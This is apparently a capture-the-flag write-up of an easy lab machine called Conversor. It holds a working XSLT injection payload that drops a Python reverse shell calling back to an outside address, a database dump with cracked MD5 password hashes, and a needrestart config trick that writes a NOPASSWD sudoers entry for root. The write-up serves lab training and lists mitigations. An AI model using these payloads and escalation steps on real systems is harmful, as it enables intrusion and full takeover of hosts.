Skip to main content

Conversor (easy)

·904 words·5 mins
Table of Contents

Overview
#

Conversor is a good beginner machine which shows, that not always the most obvious path is the path forward.

User
#

Portscan shows 22 and 80 open:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

After registration of an account on the website we are presented with a “conversion” software: ![conversor1.png | 800](conversor1.png | 800)

Retrieve sourcecode under the About section: ![conversor2.png| 500](conversor2.png| 500)

In install.md we see this important line:

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Based on this information we can assume, that this cronjob is running on target and will also run an arbitrary script, if we’re able to drop one onto said path. The description is even wrong because all asterisk * in beginning means the scripts are running every minute.

Method convert is vulnerable to path traversal, which is detected with snyk vscode addon, but that is a rabbit hole which doesn’t lead to anything:

def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    
    xml_file.save(xml_path)  #<------------ vulnerable
    xslt_file.save(xslt_path) #<------------ vulnerable
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)  #<------------ no proper xslt sanitization
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

path forward instead is, that xslt is not properly sanitized

Download Template from website-> nmap.xlst and create own scan to retrieve a file scan.xml:

sudo nmap -p 80 10.129.96.50 -oA scan 

Upload scan.xml and nmap.xlst and capture request with Burpsuite:

conversor3.png

Exploitation:

Arbitrary File write with EXSLT –> https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#write-files-with-exslt-extension embedded with a python reverseshell, dropped to /var/www/conversor.htb/ leads to code execution because previous discovered cronjob:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/rce.py" method="text">
      import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.39",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

After a minute of waiting we get our reverse shell:

└─$ ncat -lvnp 9001                                                                       
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.58.130:42962.
www-data@conversor:~$

As discovered in the source code there must be a sqlite3 db, which may contain crackable hashes. Conveniently sqlite3 binary is installed, so we even don’t need to transfer the db:

www-data@conversor:~/conversor.htb/instance$ sqlite3 users.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    );
INSERT INTO users VALUES(1,'fismathack','5b5c3ac3a1c897c94caad48e6c71fdec');
INSERT INTO users VALUES(5,'user','ee11cbb19052e40b07aac0ca060c23ee');
CREATE TABLE files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    );
INSERT INTO files VALUES('8374be69-0931-4445-8f58-5589d27ec7d7',2,'8374be69-0931-4445-8f58-5589d27ec7d7.html');
INSERT INTO files VALUES('a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2',2,'a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2.html');
INSERT INTO files VALUES('89af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b',2,'89af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b.html');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',5);
COMMIT;

Cracking userhash (md5) with hashcat:

hashcat -m 0 'fismathack:5b5c3ac3a1c897c94caad48e6c71fdec' --user rockyou.txt

5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm        
                                                          
Session..........: hashcat
Status...........: Cracked

Password reuse lets us in via SSH and we get the user flag:

ssh fismathack@conversor.htb

Root
#

sudo -l reveals that we can execute needstart as root:

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Looking at it, reveals it is a perl script:

#!/usr/bin/perl

# nagios: -epn

# needrestart - Restart daemons after library updates.
#
# Authors:
#   Thomas Liske <thomas@fiasko-nw.net>

Running it with --version we retrieve its version 3.7 and its github repo https://github.com/liske/needrestart/

sudo needrestart --version
needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <thomas@fiasko-nw.net>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

Even tough there are four CVE on this version, the easiest way is a lookup on GTFObins –> https://gtfobins.org/gtfobins/needrestart/

Looking at parameter -c, it’s loading a config file:

sudo needrestart --help
  needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
    -c <cfg>    config filename

Looking at how a config file is handled in sourcecode (line 218) shows it uses eval. So we should just be able to privilege escalate with giving in an arbitrary perl script:

# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
    local $/;
    open my $fh, $opt_c or die "ERROR: $!\n";
    my $cfg = <$fh>;
    close($fh);
    $cfg;
};
die "Error parsing $opt_c: $@" if($@);

The default config file under /etc/needrestart/needrestart.conf also shows its just perl code.

Exploitation:

nano pwn

system("echo 'fismathack ALL=(root) NOPASSWD: ALL' >> /etc/sudoers");
sudo needrestart -c pwn
sudo su

root@conversor:~# whoami
root

Learning Points
#

  • Even when clear paths like with Path Traversel on snyk show up, a way forward can be different.
  • Read README files of repos carefully, they may contain further important information

Mitigation Points
#

  • Implement proper user input sanitization
  • Don’t use cronjobs for general execution of any scripts in a folder
  • Apply the least privilege possible -> there is no need of having needrestart in sudoers file
  • Update your binaries (needrestart)
  • Utilize docker for sandboxing web endpoints